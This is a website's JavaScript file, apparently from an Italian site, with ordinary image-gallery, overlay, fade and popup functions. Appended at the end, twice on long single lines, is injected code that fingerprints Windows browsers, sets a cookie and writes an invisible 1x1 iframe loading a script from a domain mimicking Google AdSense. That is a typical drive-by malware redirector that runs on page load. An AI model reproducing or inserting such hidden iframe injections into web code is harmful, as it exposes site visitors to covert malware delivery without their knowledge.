var szNavigator=navigator.userAgent;
var _isIE=szNavigator.indexOf('MSIE')!=-1;
var bMod=0;
function _gel(sz) {
   return document.getElementById(sz);
}
function arGetKey(ar,indexNm,szValue){
	for(var i=0;i<ar.length;i++){ if(ar[i][indexNm]==szValue) return i;}
	return false;
}
function imgRollOver(obj){
	if(!obj) return;
	var id=obj.id;
	if(obj.src.indexOf(id+"Hvr")==-1) obj.src=obj.src.replace(id,id+"Hvr"); else obj.src=obj.src.replace(id+"Hvr",id);
}
function areaDoc(){
	return ar=new Array(document.documentElement.clientWidth,document.documentElement.clientHeight);
}
function scrollDoc(){
	return ar=new Array(document.documentElement.scrollLeft,document.documentElement.scrollTop);
}
function oscura(){
	var objOscura=document.createElement("div");
	objOscura.id="divOscura";
	objOscura.className="divOscura";
	addEvent(objOscura,'click',clsOscura,false);
	var h=(document.documentElement.clientHeight>document.body.clientHeight)?document.documentElement.clientHeight:document.body.clientHeight;
	objOscura.style.height=h+"px";
	document.body.appendChild(objOscura);
	if(!_isIE){
		stAlph(objOscura,0);
		new objFade(objOscura,100,100);
	}
}
function clsOscura(){
	if(_gel("divPpUp")) document.body.removeChild(_gel("divPpUp"));
	if(_gel("imgEnl")) document.body.removeChild(_gel("imgEnl"));
	if(_gel("imgLoad")) document.body.removeChild(_gel("imgLoad"));
	if(_gel("divOscura")) document.body.removeChild(_gel("divOscura"));
}
function cntrObj(obj,objW,objH){
	var arD=areaDoc();
	var arS=scrollDoc();
	obj.style.left=Math.floor(parseInt(arD[0]/2-objW/2))+"px";
	var iTop=(arD[1]-objH)/2+arS[1];
	obj.style.top=Math.floor(parseInt(iTop))+"px";
}
function objFade(obj,time,iDir){
	this.obj=obj;
	this.time=time;
	this.iAlpha=(iDir<0)?100:0;
	this.iTime=35;
	this.iDir=100/(time/this.iTime);
	if(this.iDir<1) this.iDir=1;
	if(iDir<0) this.iDir*=-1;
	var thi=this;
	stAlph(this.obj,this.iAlpha);
	this.fader=function(){
		thi.iAlpha+=thi.iDir; 
		if(thi.iAlpha<0) thi.iAlpha=0;
		if(thi.iAlpha>100) thi.iAlpha=100;
		stAlph(thi.obj,thi.iAlpha);
		if((thi.iAlpha>0&&thi.iDir<0)||(thi.iAlpha<100&&thi.iDir>0)) setTimeout(thi.fader,thi.iTime);
	};
	this.fader();
}
function stAlph(obj,iAlpha){
	if(_isIE) obj.style.filter="alpha(opacity="+iAlpha+")";
	else obj.style.opacity=iAlpha/100;
}
function noPropag(e){
	if (!e) var e = window.event;
	e.cancelBubble = true;	if (e.stopPropagation) e.stopPropagation();
}
function addEvent(obj,e,func,useCapture){
	if(obj.addEventListener){
		obj.addEventListener(e,func,useCapture);
		return true;
	}else if(obj.attachEvent)	return obj.attachEvent("on"+e,func);
	else alert("evento non attaccato");
}
function openDemo(){
	oscura();
	var objPpUp=document.createElement("div");
	objPpUp.id="divPpUp";
	objPpUp.className="divPpUp";
	objPpUp.innerHTML='<object width="600" height="450"><param name="movie" value="demo600x450.swf"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="demo600x450.swf" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="600" height="450"></embed></object>';
	document.body.appendChild(objPpUp);
	cntrObj(_gel("divPpUp"),660,470);
}
function openMap(){
	oscura();
	var objPpUp=document.createElement("div");
	objPpUp.id="divPpUp";
	objPpUp.className="divPpUp";
	objPpUp.innerHTML='';
	document.body.appendChild(objPpUp);
	cntrObj(_gel("divPpUp"),660,470);
}




preloadImages={
	iNumImg:0,
	iNumLdd:0,
	onComplete:"",
	onLoaded:function(){},
	currImgLdd:"",
	arImg:[],
	arImgInc:[],
	
	queue_images:function(arImg){
  		this.iNumLdd=0;
  		this.arImg=[];
  		this.iNumImg=arImg.length;
  		this.arImgInc=arImg;
  		this.process_queue();
	},
	
	process_queue:function(){
		this.load_image(this.arImgInc.shift());
 	},
 	
	load_image:function(image){
		var this_ref=this;
		var preload_image=new Image;
  		preload_image.onload=function(){
   			this_ref.currImgLdd=preload_image;
   			this_ref.arImg.push(preload_image);
			this_ref.iNumLdd+=1;
			(this_ref.onLoaded)();
   			if(this_ref.iNumImg==this_ref.iNumLdd) (this_ref.onComplete)(); 
			else this_ref.process_queue();
		}
		preload_image.src=image;
	}
}




function viewImg(szImg){
	var objOscura=document.createElement("div");
	objOscura.id="divOscura";
	objOscura.className="divOscura";
	addEvent(objOscura,'click',clsOscura,false);
	var h=(document.documentElement.clientHeight>document.body.clientHeight)?document.documentElement.clientHeight:document.body.clientHeight;
	objOscura.style.height=h+"px";
	document.body.appendChild(objOscura);
	if(!_isIE){
		stAlph(objOscura,0);
		new objFade(objOscura,100,100);
	}
	var objLoad=document.createElement("img");
	objLoad.id="imgLoad";
	objLoad.className="imgLoad";
	objLoad.src="immagini/loader.gif";
	document.body.appendChild(objLoad);
	cntrObj(objLoad,32,32);
	
	var iKey=arGetKey(arFoto,"szNome",szImg);
	//alert(arFoto+"\n"+szImg+"\n"+iKey);
	ftSel=iKey;
	preloadImages.onComplete=function(){
		imgLoaded(preloadImages.currImgLdd.src,preloadImages.currImgLdd.width,preloadImages.currImgLdd.height);
		_gel("ftDescr").innerHTML=_gel("imgBig").title=_gel("imgBig").alt=arFoto[iKey].szDescr;
		document.body.removeChild(_gel("imgLoad"));
	}
	preloadImages.queue_images(new Array(szImg));
}
function imgLoaded(szImg,iW,iH){
	var objDiv=document.createElement("div");
	objDiv.id="imgEnl";
	objDiv.className="imgEnl";
	addEvent(objDiv,'click',clsOscura,false);
	sz="<img id=\"ftLeft\" style=\"z-index:1002;opacity:100;width:16px;\" src=\"immagini/ftLeft.png\" onmouseover=\"imgRollOver(this)\" onmouseout=\"imgRollOver(this)\" onclick=\"ftChg(event,-1,arFoto)\">";
	sz+="<img src=\""+szImg+"\" style=\"vertical-align:middle;\" id=\"imgBig\" alt=\"\" width=\""+iW+"\" height=\""+iH+"\" />";
	sz+="<img id=\"ftRight\" style=\"z-index:1003;opacity:100;width:16px;\" src=\"immagini/ftRight.png\" onmouseover=\"imgRollOver(this)\" onmouseout=\"imgRollOver(this)\" onclick=\"ftChg(event,1,arFoto)\">";
	sz+="<div id=\"ftDescr\" style=\"z-index:1004;width:"+iW+"px;margin-left:42px;\"></div>";
	objDiv.innerHTML=sz;
	document.body.appendChild(objDiv);
	cntrObj(objDiv,iW+92,iH+20);
	new objFade(_gel("imgBig"),300,100);
}


function imgChgShw(obj,ar){
	stAlph(obj,0);
	if(_gel("imgEnl")){
		stAlph(_gel("imgEnl"),100);
		_gel("ftDescr").style.width=preloadImages.currImgLdd.width+"px";
	}
	_gel("imgLoad").parentNode.removeChild(_gel("imgLoad"));
	obj.src=preloadImages.currImgLdd.src;
	obj.style.width=preloadImages.currImgLdd.width+"px";
	obj.style.height=preloadImages.currImgLdd.height+"px";
	
	_gel("ftDescr").innerHTML=obj.title=obj.alt=ar[ftSel].szDescr;
	new objFade(obj,150,100);
}
function ftChg(e,iDir,ar){
	noPropag(e);
	var ft="";
	var fC=ftSel;
	switch(iDir){
		case 1:
			if(ftSel<ar.length-1) ftSel++; else ftSel=0;
			break;
		case -1:
			if(ftSel>0) ftSel--; else ftSel=ar.length-1;
			break;
	}
	if(bMod){
		var szNC=arFoto[fC].szNome.split("_")[0];
		var szNP=arFoto[ftSel].szNome.split("_")[0];
		if(szNC!=szNP){
			switch(iDir){
				case 1:
					for(var i=0;i<ar.length;i++){
						if(arFoto[i].szNome.split("_")[0]==szNC){
							ftSel=i;
							break;
						}
					}
					break;
				case -1:
					for(var i=ar.length-1;i>-1;i--){
						if(arFoto[i].szNome.split("_")[0]==szNC){
							ftSel=i;
							break;
						}
					}
					break;
			}
			
			
		}
		//alert(arFoto[edo].szNome+"\n"+arFoto[ftSel].szNome);
	}
	var obj=_gel("imgBig");
	imgChgHd();
	preloadImages.onComplete=function(){
		cntrObj(obj.parentNode,preloadImages.currImgLdd.width+92,preloadImages.currImgLdd.height+20);
		imgChgShw(obj,ar);
	}
	//if(ftSel==0) ftSel=1;
	preloadImages.queue_images(new Array(ar[ftSel].szNome));
}
function imgChgHd(){
	var iW=iH=0;
	var objEnl=_gel("imgEnl");
	if(objEnl){
		stAlph(objEnl,0);
	}else{
		var objBig=_gel("imgBig");
		iW=parseInt(objBig.offsetLeft+objBig.offsetWidth/2);
		iH=parseInt(objBig.offsetTop+objBig.offsetHeight/2);
		stAlph(objBig);
	}
	var objLoad=document.createElement("img");
	objLoad.id="imgLoad";
	objLoad.className="imgLoad";
	objLoad.src="immagini/loader.gif";
	document.body.appendChild(objLoad);
	if(objEnl) cntrObj(objLoad,32,32);
	else{
		objLoad.style.left=iW+"px";
		objLoad.style.top=iH+"px";
	}
}
function ppSrch(szPp,szSearch){
	if(szPp.indexOf("|"+szSearch+"|")==-1) return false;
	return true;
}
function ppString(ar,szSep){
	if(!szSep) szSep="|";
	return szSep+ar.join(szSep)+szSep;	
}
function ppArr(sz,szSep){
	if(!szSep) szSep="|";
	var sz=sz.slice(1,-1);
	return sz.split(szSep);
}

var arDFtRef=new Array();
function sDFtRef(id,h){
	this.id=id;
	this.h=h;
}
function clsFt(id){
	var obj=_gel("ft_"+id);
	arDFtRef.push(new sDFtRef("ft_"+id,obj.offsetHeight));
	obj.style.height="0px";
}
function oc(id){
	var obj=_gel("ft_"+id);
	var iKey=arGetKey(arDFtRef,"id","ft_"+id);
	if(iKey===false) return;
	var h=(obj.offsetHeight>0)?0:arDFtRef[iKey].h;
	_gel("lblFt_"+id).innerHTML=(!h)?"mostra foto":"nascondi foto";
	gestResize(obj,null,h,false);
}



function arRemElem(ar,szValue){
	for(var i=0;i<ar.length;i++) if(ar[i]==szValue){ar.splice(i,1);break;}
}
var arResized=new Array();
function gestResize(obj,wF,hF,fn){
	if(!ppSrch(ppString(arResized),obj.id)){
		arResized.push(obj.id);
		new divResize(obj,wF,hF,fn);
	}
}

function divResize(obj,wF,hF,fn){
	this.obj=obj;
	this.wI=parseInt(obj.offsetWidth);
	this.hI=parseInt(obj.offsetHeight);
	this.wF=wF;
	this.hF=hF;
	this.xDir=this.wF-this.wI;
	this.yDir=this.hF-this.hI;
	this.fn=fn;
	var thi=this;
	this.funcResize=function(){
		if(thi.xDir==0 && thi.yDir==0){ arRemElem(arResized,thi.obj.id); return;}
		if(thi.hF!=null){   
			var jmp=(thi.hF-thi.hI)/4;
			thi.hI+=jmp;
			thi.obj.style.height=thi.hI+"px";
			if((thi.yDir>0&&thi.hI>=thi.hF-1)||(thi.yDir<0&&thi.hI<=thi.hF+1)){
				thi.obj.style.height=thi.hF+"px";
				thi.hF=null;
			}
		}
		if(thi.wF!=null){
			var jmp=(thi.wF-thi.wI)/4;
			thi.wI+=jmp;
			thi.obj.style.width=thi.wI+"px";
			if((thi.xDir>0&&thi.wI>=thi.wF-1)||(thi.xDir<0&&thi.wI<=thi.wF+1)){
				thi.obj.style.width=thi.wF+"px";
				thi.wF=null;
			}
		}
		if(thi.wF!=null || thi.hF!=null) setTimeout(thi.funcResize,41); 
		else{
			if(fn) fn();
			arRemElem(arResized,thi.obj.id);
		}
	};
	this.funcResize();
}var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
